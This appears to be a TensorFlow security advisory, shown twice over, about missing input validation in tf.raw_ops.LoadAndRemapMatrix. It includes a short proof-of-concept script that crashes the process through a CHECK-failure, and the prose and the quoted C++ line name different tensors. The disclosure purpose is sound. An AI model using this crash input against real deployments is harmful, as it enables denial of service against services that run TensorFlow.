Impact
The implementation of tf.raw_ops.LoadAndRemapMatrix does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:
import tensorflow as tf
ckpt_path = tf.constant(
"/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
old_tensor_name = tf.constant(
"/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
row_remapping = tf.constant(0, shape=[], dtype=tf.int64)
col_remapping = tf.constant(3, shape=[3], dtype=tf.int64)
initializing_values = tf.constant([], shape=[0, 1], dtype=tf.float32)
tf.raw_ops.LoadAndRemapMatrix(
ckpt_path=ckpt_path,
old_tensor_name=old_tensor_name,
row_remapping=row_remapping,
col_remapping=col_remapping,
initializing_values=initializing_values,
num_rows=1,
num_cols=1)The code assumes initializing_values is a vector but there is no validation for this before accessing its value:
OP_REQUIRES_OK(context, context->input("row_remapping", &row_remapping_t));
const auto row_remapping = row_remapping_t->vec<int64_t>();Patches
We have patched the issue in GitHub commit 3150642acbbe254e3c3c5d2232143fa591855ac9.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
References
Impact
The implementation of
tf.raw_ops.LoadAndRemapMatrixdoes not fully validate the input arguments. This results in aCHECK-failure which can be used to trigger a denial of service attack:The code assumes
initializing_valuesis a vector but there is no validation for this before accessing its value:Patches
We have patched the issue in GitHub commit 3150642acbbe254e3c3c5d2232143fa591855ac9.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
References